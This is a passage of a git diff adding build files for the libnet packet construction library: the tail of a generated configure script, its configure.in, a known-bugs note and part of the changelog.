limited-size here document to $tmp/defines.sed. + echo ' cat >$tmp/defines.sed <<CEOF' >>$CONFIG_STATUS + # Speed up: don't consider the non `#define' lines. + echo '/^[ ]*#[ ]*define/!b' >>$CONFIG_STATUS + # Work around the forget-to-reset-the-flag bug. + echo 't clr' >>$CONFIG_STATUS + echo ': clr' >>$CONFIG_STATUS + sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS + echo 'CEOF + sed -f $tmp/defines.sed $tmp/in >$tmp/out + rm -f $tmp/in + mv $tmp/out $tmp/in +' >>$CONFIG_STATUS + sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail + rm -f conftest.defines + mv conftest.tail conftest.defines +done +rm -f conftest.defines +echo ' fi # grep' >>$CONFIG_STATUS +echo >>$CONFIG_STATUS + +# Break up conftest.undefs because some shells have a limit on the size +# of here documents, and old seds have small limits too (100 cmds). +echo ' # Handle all the #undef templates' >>$CONFIG_STATUS +rm -f conftest.tail +while grep . conftest.undefs >/dev/null +do + # Write a limited-size here document to $tmp/undefs.sed. + echo ' cat >$tmp/undefs.sed <<CEOF' >>$CONFIG_STATUS + # Speed up: don't consider the non `#undef' + echo '/^[ ]*#[ ]*undef/!b' >>$CONFIG_STATUS + # Work around the forget-to-reset-the-flag bug. + echo 't clr' >>$CONFIG_STATUS + echo ': clr' >>$CONFIG_STATUS + sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS + echo 'CEOF + sed -f $tmp/undefs.sed $tmp/in >$tmp/out + rm -f $tmp/in + mv $tmp/out $tmp/in +' >>$CONFIG_STATUS + sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail + rm -f conftest.undefs + mv conftest.tail conftest.undefs +done +rm -f conftest.undefs + +cat >>$CONFIG_STATUS <<\_ACEOF + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + if test x"$ac_file" = x-; then + echo "/* Generated by configure. */" >$tmp/config.h + else + echo "/* $ac_file. Generated by configure. */" >$tmp/config.h + fi + cat $tmp/in >>$tmp/config.h + rm -f $tmp/in + if test x"$ac_file" != x-; then + if diff $ac_file $tmp/config.h >/dev/null 2>&1; then + { echo "$as_me:$LINENO: $ac_file is unchanged" >&5 +echo "$as_me: $ac_file is unchanged" >&6;} + else + ac_dir=`(dirname "$ac_file") 2>/dev/null || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + { if $as_mkdir_p; then + mkdir -p "$ac_dir" + else + as_dir="$ac_dir" + as_dirs= + while test ! -d "$as_dir"; do + as_dirs="$as_dir $as_dirs" + as_dir=`(dirname "$as_dir") 2>/dev/null || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + done + test ! -n "$as_dirs" || mkdir $as_dirs + fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 +echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} + { (exit 1); exit 1; }; }; } + + rm -f $ac_file + mv $tmp/config.h $ac_file + fi + else + cat $tmp/config.h + rm -f $tmp/config.h + fi +# Compute $ac_file's index in $config_headers. +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $ac_file | $ac_file:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $ac_file" >`(dirname $ac_file) 2>/dev/null || +$as_expr X$ac_file : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X$ac_file : 'X\(//\)[^/]' \| \ + X$ac_file : 'X\(//\)$' \| \ + X$ac_file : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X$ac_file | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'`/stamp-h$_am_stamp_count +done +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF + +# +# CONFIG_COMMANDS section. +# +for ac_file in : $CONFIG_COMMANDS; do test "x$ac_file" = x: && continue + ac_dest=`echo "$ac_file" | sed 's,:.*,,'` + ac_source=`echo "$ac_file" | sed 's,[^:]*:,,'` + ac_dir=`(dirname "$ac_dest") 2>/dev/null || +$as_expr X"$ac_dest" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_dest" : 'X\(//\)[^/]' \| \ + X"$ac_dest" : 'X\(//\)$' \| \ + X"$ac_dest" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$ac_dest" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + { if $as_mkdir_p; then + mkdir -p "$ac_dir" + else + as_dir="$ac_dir" + as_dirs= + while test ! -d "$as_dir"; do + as_dirs="$as_dir $as_dirs" + as_dir=`(dirname "$as_dir") 2>/dev/null || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + done + test ! -n "$as_dirs" || mkdir $as_dirs + fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 +echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} + { (exit 1); exit 1; }; }; } + + ac_builddir=. + +if test "$ac_dir" != .; then + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A "../" for each directory in $ac_dir_suffix. + ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` +else + ac_dir_suffix= ac_top_builddir= +fi + +case $srcdir in + .) # No --srcdir option. We are building in place. + ac_srcdir=. + if test -z "$ac_top_builddir"; then + ac_top_srcdir=. + else + ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` + fi ;; + [\\/]* | ?:[\\/]* ) # Absolute path. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir ;; + *) # Relative path. + ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_builddir$srcdir ;; +esac + +# Do not use `cd foo && pwd` to compute absolute paths, because +# the directories may not exist. +case `pwd` in +.) ac_abs_builddir="$ac_dir";; +*) + case "$ac_dir" in + .) ac_abs_builddir=`pwd`;; + [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; + *) ac_abs_builddir=`pwd`/"$ac_dir";; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_top_builddir=${ac_top_builddir}.;; +*) + case ${ac_top_builddir}. in + .) ac_abs_top_builddir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; + *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_srcdir=$ac_srcdir;; +*) + case $ac_srcdir in + .) ac_abs_srcdir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; + *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_top_srcdir=$ac_top_srcdir;; +*) + case $ac_top_srcdir in + .) ac_abs_top_srcdir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; + *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; + esac;; +esac + + + { echo "$as_me:$LINENO: executing $ac_dest commands" >&5 +echo "$as_me: executing $ac_dest commands" >&6;} + case $ac_dest in + depfiles ) test x"$AMDEP_TRUE" != x"" || for mf in $CONFIG_FILES; do + # Strip MF so we end up with the name of the file. + mf=`echo "$mf" | sed -e 's/:.*$//'` + # Check whether this is an Automake generated Makefile or not. + # We used to match only the files named `Makefile.in', but + # some people rename them; so instead we look at the file content. + # Grep'ing the first line is not enough: some people post-process + # each Makefile.in and add a new line on top of each file to say so. + # So let's grep whole file. + if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then + dirpart=`(dirname "$mf") 2>/dev/null || +$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$mf" : 'X\(//\)[^/]' \| \ + X"$mf" : 'X\(//\)$' \| \ + X"$mf" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$mf" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + else + continue + fi + # Extract the definition of DEPDIR, am__include, and am__quote + # from the Makefile without running `make'. + DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` + test -z "$DEPDIR" && continue + am__include=`sed -n 's/^am__include = //p' < "$mf"` + test -z "am__include" && continue + am__quote=`sed -n 's/^am__quote = //p' < "$mf"` + # When using ansi2knr, U may be empty or an underscore; expand it + U=`sed -n 's/^U = //p' < "$mf"` + # Find all dependency output files, they are included files with + # $(DEPDIR) in their names. We invoke sed twice because it is the + # simplest approach to changing $(DEPDIR) to its actual value in the + # expansion. + for file in `sed -n " + s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ + sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do + # Make sure the directory exists. + test -f "$dirpart/$file" && continue + fdir=`(dirname "$file") 2>/dev/null || +$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$file" : 'X\(//\)[^/]' \| \ + X"$file" : 'X\(//\)$' \| \ + X"$file" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + { if $as_mkdir_p; then + mkdir -p $dirpart/$fdir + else + as_dir=$dirpart/$fdir + as_dirs= + while test ! -d "$as_dir"; do + as_dirs="$as_dir $as_dirs" + as_dir=`(dirname "$as_dir") 2>/dev/null || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| \ + . : '\(.\)' 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + done + test ! -n "$as_dirs" || mkdir $as_dirs + fi || { { echo "$as_me:$LINENO: error: cannot create directory $dirpart/$fdir" >&5 +echo "$as_me: error: cannot create directory $dirpart/$fdir" >&2;} + { (exit 1); exit 1; }; }; } + + # echo "creating $dirpart/$file" + echo '# dummy' > "$dirpart/$file" + done +done + ;; + default ) chmod +x libnet-config ;; + esac +done +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF + +{ (exit 0); exit 0; } +_ACEOF +chmod +x $CONFIG_STATUS +ac_clean_files=$ac_clean_files_save + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || { (exit 1); exit 1; } +fi + diff --git a/libnet/configure.in b/libnet/configure.in new file mode 100644 index 0000000..d9a9a01 --- /dev/null +++ b/libnet/configure.in @@ -0,0 +1,267 @@ +dnl $Id: configure.in,v 1.10 2004/11/09 07:02:52 mike Exp $ +dnl +dnl Libnet autoconfiguration information file +dnl Copyright (c) 1998 - 2002 Mike D. Schiffman <mike@infonexus.com> +dnl All rights reserved. +dnl +dnl Process this file with autoconf to produce a configure script. + +AC_INIT(Packet construction library, 1.1.3-RC-01) +AC_MSG_RESULT(beginning autoconfiguration process for libnet-${PACKAGE_VERSION} ...) +AC_CANONICAL_SYSTEM +AC_CONFIG_SRCDIR([src/libnet_build_ip.c]) +AM_INIT_AUTOMAKE +AM_CONFIG_HEADER([include/config.h]) +AM_MAINTAINER_MODE + +dnl +dnl Check for the usual programs +dnl +AC_PROG_CC +AC_PROG_INSTALL +dnl disable shared libraries (for now) +dnl AC_DISABLE_SHARED +AC_PROG_LIBTOOL + +AC_CHECK_HEADERS(sys/sockio.h) + +dnl +dnl And some custom things +dnl + +AC_LIBNET_ENDIAN_CHECK +AC_LBL_UNALIGNED_ACCESS +dnl AC_LBL_LIBRARY_NET + +AC_SUBST(ENDIANESS) +AC_SUBST(HAVE_PACKET_SOCKET) +AC_SUBST(ADDITIONAL_LIBS) +AC_SUBST(LIBNET_CONFIG_DEFINES) +AC_SUBST(LIBNET_CONFIG_LIBS) +AC_SUBST(LIBNET_CONFIG_CFLAGS) +AC_SUBST(LTLIBOBJS) + +dnl +dnl Check for typedefs, structures, and compiler characteristics +dnl +AC_PROG_GCC_TRADITIONAL +if test "$GCC" = yes ; then + CFLAGS="$CFLAGS -Wall" +fi + +dnl +dnl Set the root install directory +dnl +AC_PREFIX_DEFAULT(/usr) +dnl if test "$prefix" = "NONE"; then +dnl prefix="/usr" +dnl fi + +dnl +dnl Get link-layer interface type +dnl +AC_MSG_CHECKING(link-layer packet interface type) + +if test -r /dev/bpf0 ; then + AC_LIBOBJ([libnet_link_bpf]) + AC_MSG_RESULT(found bpf) +elif test -r /usr/include/net/pfilt.h ; then + AC_LIBOBJ([libnet_link_pf]) + AC_MSG_RESULT(found pf) +elif test -r /dev/nit ; then + AC_LIBOBJ([libnet_link_snit]) + AC_MSG_RESULT(found snit) +elif test -r /usr/include/sys/net/nit.h ; then + AC_LIBOBJ([libnet_link_nit]) + AC_MSG_RESULT(found nit) +elif test -r /usr/include/net/raw.h ; then + AC_LIBOBJ([libnet_link_snoop]) + AC_MSG_RESULT(found snoop) +elif test -r /usr/include/sys/dlpi.h ; then + AC_LIBOBJ([libnet_link_dlpi]) + AC_MSG_RESULT(found dlpi) + AC_DEFINE(HAVE_DLPI, 1, [Define if the <sys/dlpi.h> header exists.]) +elif test -r /usr/include/linux/socket.h ; then + AC_LIBOBJ([libnet_link_linux]) + AC_MSG_RESULT(found linux primitives) + AC_LIBNET_CHECK_PF_PACKET + AC_LIBNET_LINUX_PROCFS +elif test -c /dev/bpf0 ; then # check again in case not readable + AC_LIBOBJ([libnet_link_bpf]) + AC_MSG_RESULT(found bpf) +elif test -c /dev/nit ; then # check again in case not readable + AC_LIBOBJ([libnet_link_snit]) + AC_MSG_RESULT(found snit) +elif test "$target_os" = "cygwin" ; then + AC_LIBOBJ([libnet_link_win32]) + AC_MSG_RESULT(found win32 wpcap) +else + AC_LIBOBJ([libnet_link_none]) + AC_MSG_WARN(could not find a link-layer packet interface) + AC_MSG_WARN(link-layer packet injection will not be available) +fi + +dnl This is necessary so that .o files in LIBOBJS are also built via +dnl the ANSI2KNR-filtering rules. +LIB@&t@OBJS=`echo "$LIB@&t@OBJS" | + sed 's,\.[[^.]]* ,$U&,g;s,\.[[^.]]*$,$U&,'` +LTLIBOBJS=`echo "$LIB@&t@OBJS" | + sed 's,\.[[^.]]* ,.lo ,g;s,\.[[^.]]*$,.lo,'` + + + +dnl +dnl Inform user about the packet builders we've got +dnl +echo -n "scanning available packet construction modules: " +for dir in src/*build*c ; do + echo $dir | sed -e /src\\/libnet_build_/s/// | sed -e /\\.c/s/// | tr \\n \\040 +done +echo "" + +dnl +dnl Check and set OS specific parameters +dnl + +case "$target_os" in + +*linux*) + AC_DEFINE(_BSD_SOURCE, 1, + [Define as necessary to "unhide" header symbols.]) + AC_DEFINE(__BSD_SOURCE, 1, + [Define as necessary to "unhide" header symbols.]) + AC_DEFINE(__FAVOR_BSD, 1, + [Define if we should favor the BSD APIs when possible in Linux.]) + + LIBNET_CONFIG_DEFINES="-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD" + AC_CHECK_HEADERS(net/ethernet.h, \ + LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H") + ;; + +*freebsd*) + AC_DEFINE(LIBNET_BSDISH_OS, 1, + [Define if our build OS supports the BSD APIs]) + AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, + [Define if libnet should byteswap data.]) + AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, + [Define if the sockaddr structure includes a sa_len member.]) + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP -DHAVE_SOCKADDR_SA_LEN" + ;; + +*netbsd*) + AC_DEFINE(LIBNET_BSDISH_OS, 1, + [Define if our build OS supports the BSD APIs]) + AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, + [Define if libnet should byteswap data.]) + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP" + ;; + +*openbsd*) + AC_DEFINE(LIBNET_BSDISH_OS, 1, + [Define if our build OS supports the BSD APIs]) + AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, + [Define if the sockaddr structure includes a sa_len member.]) + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS" + ;; + +*bsdi*) + AC_DEFINE(LIBNET_BSDISH_OS, 1, + [Define if our build OS supports the BSD APIs]) + AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, + [Define if libnet should byteswap data.]) + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DLIBNET_BSD_BYTE_SWAP" + ;; + +*darwin*) + AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, + [Define if the sockaddr structure includes a sa_len member.]) + LIBNET_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN" + ;; + +*solaris*) + AC_DEFINE(HAVE_SOLARIS, 1, [Define if we are running on Solaris.]) + AC_CHECK_HEADERS(sys/bufmod.h sys/dlpi_ext.h) + AC_MSG_CHECKING(for /dev/dlpi device) + if test -c /dev/dlpi; then + AC_MSG_RESULT(yes) + AC_DEFINE(HAVE_DEV_DLPI, 1, [Define if /dev/dlpi is available.]) + else + AC_MSG_RESULT(no) + dir="/dev/dlpi" + AC_MSG_CHECKING(for $dir directory) + if test -d $dir ; then + AC_MSG_RESULT(yes) + AC_DEFINE_UNQUOTED(DLPI_DEV_PREFIX, "$dir", + [Define if /dev/dlpi is a directory.]) + else + AC_MSG_RESULT(no) + fi + fi + AC_CHECK_LIB(socket, socket, ,AC_MSG_ERROR(libsocket not found.)) + AC_CHECK_LIB(nsl, gethostbyname, ,AC_MSG_ERROR(libnsl not found.)) + AC_CHECK_LIB(resolv, hstrerror, ,AC_MSG_ERROR(libresolv not found.)) + +dnl +dnl Broken checksums? +dnl + case "`uname -r`" in + 5.4) + AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, + [Define if our version of Solaris has broken checksums.]) + ;; + 5.5*) + AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, + [Define if our version of Solaris has broken checksums.]) + ;; + 5.8) + AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, + [Define if our version of Solaris has broken checksums.]) + AC_DEFINE(HAVE_SOLARIS_IPV6, 1, + [Define if our version of Solaris supports IPv6.]) + + ;; + 5.9) + AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, + [Define if our version of Solaris has broken checksums.]) + AC_DEFINE(HAVE_SOLARIS_IPV6, 1, + [Define if our version of Solaris supports IPv6.]) + ;; + + esac + + ADDITIONAL_LIBS='-lresolv -lsocket -lnsl' + LIBNET_CONFIG_LIBS="$LIBNET_CONFIG_LIBS -lresolv -lsocket -lnsl" + + ;; + +*hpux11*) + AC_DEFINE(HAVE_HPUX11, 1, [Define if we're building on HP/UX.]) + AC_CHECK_HEADERS(sys/dlpi_ext.h) + ;; + +*cygwin*) + AC_DEFINE(LIBNET_BSDISH_OS, 1, + [Define if our build OS supports the BSD APIs]) + AC_DEFINE(NO_SNPRINTF, 1, + [Define if snprintf() is unavailable on our system.]) + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DNO_SNPRINTF" + CFLAGS="$CFLAGS -mno-cygwin -O0 -fnative-struct -DNO_SNPRINTF -I/usr/include/pcap" + AC_CHECK_LIB(packet, PacketSetMode, ,AC_MSG_ERROR(packet lib not found.)) + AC_CHECK_LIB(wpcap, pcap_setmode, ,AC_MSG_ERROR(pcap lib not found.)) + LIBS="$LIBS -lws2_32" + ;; + +*) + AC_MSG_WARN(apparently your OS is not officially supported yet) + AC_MSG_WARN(this may not work) + AC_MSG_RESULT(please send diffs to mike@infonexus.com) + ;; + +esac + +AC_OUTPUT(Makefile src/Makefile include/Makefile \ + include/libnet/Makefile sample/Makefile version.h include/libnet.h \ + libnet-config, chmod +x libnet-config) +dnl EOF diff --git a/libnet/doc/BUGS b/libnet/doc/BUGS new file mode 100644 index 0000000..2e8c929 --- /dev/null +++ b/libnet/doc/BUGS @@ -0,0 +1,19 @@ +=============================================================================== + $Id: BUGS,v 1.2 2004/01/03 20:31:00 mike Exp $ + LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + http://www.packetfactory.net/libnet +=============================================================================== + + + 1.1.0 KNOWN BUG LIST + + - It appears as though getprotobynumber() is broken in some linux + distributions. The /etc/protocols file should be of the format: + protocol name protocol number proctocol symbolic constant comment + Most of the file (in my redhat 7.1) distro complies with this format + until you get to the end of the file: + # 134-254 # Unassigned + # 255 # Reserved + This will cause getprotobynumber() and presumably getprotobyname() to + segfault. If you get this behavior in your program and you're calling + __libnet_file_dump(), this could be the reason. Caveat Emptor. diff --git a/libnet/doc/CHANGELOG b/libnet/doc/CHANGELOG new file mode 100644 index 0000000..b1f844d --- /dev/null +++ b/libnet/doc/CHANGELOG @@ -0,0 +1,549 @@ +===============================================================================
+ $Id: CHANGELOG,v 1.26 2004/11/09 07:05:06 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ Added a libnet_version() function
+ Fixed a bug in libnet_build_ntp() where two arguments werent used due to a
+ typo
+ Fixed a bug ln libnet_name2addr4 in which it didnt call hstrerror
+ Fixed a memory leak in libnet_if_addr.c
+ Internals: added a payload builder macro
+ Added an HSRP builder
+ Fixed the cdp.c sample code
+ Added AC_PREREQ(2.50) to configure.in to come correct
+ Added a libnet udp header prototype. We need to add an entire exported
+ interface for the sole purpose of casting captured packets, this will
+ presumably be a part of the pcap integration.
+ Added libnet_adv_write_raw_ipv4()
+ Fixed the checksum function
+ Updated the autoconf/automake stuff to be up to date with the latest
+ versions. We now use libtool.
+ Fixed a signed/unsigned comparison warning in the LIBNET_DO_PAYLOAD() macro
+ Changed all empty function prototypes to contain the void keyword
+ Removed all C++ style comments
+ Removed the configure.in check for strerror()
+
+
+Mon Mar 29 09:23:49 PST 2004 1.1.2.1
+
+ Fixed a typo in the ICMP patch mentioned below
+
+Thu Mar 25 10:49:04 PST 2004 1.1.2
+
+ Fixed the ICMP error message builders (there was a pblock assembly bug
+ that would prevent you from building more than one ICMP {unreach, time
+ exceed, redirect} in succession; the order of operations has changed
+ slightly for building these packets, see the documenation and sample code
+ Added a Sebek builder
+ Fixed a bug in libnet_autobuild_arp() that had it pulling in the address to
+ a pointer instead of just the address
+ Added AM_MAINTAINER_MODE to configure.in
+ Changed the __libnet_dump* namespace to the more descriptive libnet_diag*
+ Added libnet_getpacket_size() to return the size of a packet in a given l
+ Removed "protocol" from the libnet context. It was a waste of four bytes
+ The raw socket interface always uses the "IPPROTO_RAW" protocol
+ Fixed a memory leak in the advanced interface; there is now a function
+ libnet_adv_free_packet() to free the memory allocated for the packet
+ when libnet_adv_cull_packet() is called
+ Fixed a bug on big endian boxes that had TCP and UDP checksums with odd
+ payloads come out incorrect
+ Changes all error messages to look and feel the same:
+ "%s(): foo\n", __func__
+ Added a bunch of htons/htonl fixes
+ Continued to add to the doxygen-based documentation
+ Added support for unconfigured interfaces
+ Changed the number of interfaces libnet can handle from 32 to 512
+ Removed uneeded control structure cruft from libnet_link_dlpi.c
+ Removed sample/ip.c and added sample/ip_link.c and sample/ip_raw.c
+ Added IPv6 fragmentation header builder
+ Added IPv6 routing information header builder
+ Added IPv6 destination options header builder
+ Fixed IPv6 flowlabel and traffic class bitwise math
+
+Tue Nov 25 15:33:27 PST 2003 1.1.1
+
+ Fixed a bug in libnet_build_icmp_redirect: htonl(gateway) --> gateway.
+ Added icmp_redirect.c sample code.
+ Added libnet_autobuild_arp().
+ Added a slightly faster checksum.
+ Added a GRE builder.
+ Fixed a buffer overflow in libnet_build_dhcp().
+ Added more sanity checks to ensure we have proper link or network layer
+ headers when not in advanced mode.
+ Fixed a bug that would sometimes make __libnet_dump_context() crash under
+ linux.
+ Migration from sprintf and strcpy snprintf and strncpy.
+ Fixed bug in libnet_build_ipv4() when calculating size of memory block
+ Removed the support directory -- if you're an OLD version of OpenBSD or
+ FreeBSD you deserve what you get.
+ Added a BGP builder.
+ Changed the error handing functions to be more consistent and use
+ __FUNCTION__.
+ Fixed a bug in libnet_pblock_free() -- replaced it with
+ libnet_pblock_delete().
+ Fixed all of the inconsistencies inside all of the builders and pblock code
+ where some fringe conditions could result in u_longs being crunched into
+ u_shorts.
+ Fixed libnet_pblock_coalesce() to only require one pass through the list.
+ Added better diagnostics (__libnet_dump_context(), __libnet_dump_pblock()).
+ Added Token Ring and FDDI builders (Linux and Solaris only).
+ Added Token Ring and FDDI sample programs.
+ Fixed the handling of TCP and IP payloads when reusing a pblocks.
+ Fixed the handling of IP headers such that if a TCP packet changes size
+ via subsequent calls to libnet_build_tcp(), the IP header automatically
+ changes size as well.
+ Added libnet_pblock_delete() to remove a pblock from the list.
+ Added ip.c sample program (builds an arbitrary IP packet).
+ Added additional payload sanity checks to libnet_build_*.
+ Added a payload to sample/icmp_echo_cq.c.
+ Added an MPLS builder.
+ Added an 802.1x builder.
+ Added an RPC builder! Bout time eh?
+ Fixed do1x.c sample code to make the frame valid.
+ Fixed link-interface semantics under Mac/OSX
+ Changed libnet_stats to all be unsigned long longs to accomodate all of
+ hardcore packet writers.
+ Fixed IPv6 support (to some extent) removed the IP_HDRINCL stuff and
+ reworked the resolver stuff to use net_pton() and inet_ntop().
+ Fixed libnet_build_icmpv4_*() to properly handle the IP header in the
+ payload.
+ Fixed libnet_build_igmp() to handle checksums properly.
+ Fixed a bug in libnet_build_dnsv4() -- now it will work for TCP or UDP --
+ see the sample program for details...
+ Fixed a bug in sample/dhcp_discover.c
+ Added multiple packet interface (called the context queue interface).
+ Until I finish the manpage, see the sample code and README files
+ for instructions on how it works.
+ Fixed Cygwin support.
+ Fixed an OS/X compilation error due to lack of system header files.
+ Fixed OS/X link layer bug.
+ Fixed a bug in pblock_coalesce() that resulted in bad checksums when the
+ advanced mode was enabled.
+ Fixed a potential memory leak in pblock_coalesce().
+ Fixed a potential memory leak in libnet_select_device().
+ Fixed a potential memory leak in libnet_plist_chain_new().
+ Fixed Solaris support for IPv6 address support.
+ Fixed minor bugs in libnet_advanced.c.
+ Added loopback device support.
+
+
+Mon Aug 5 15:18:52 PDT 2002 1.1.0
+
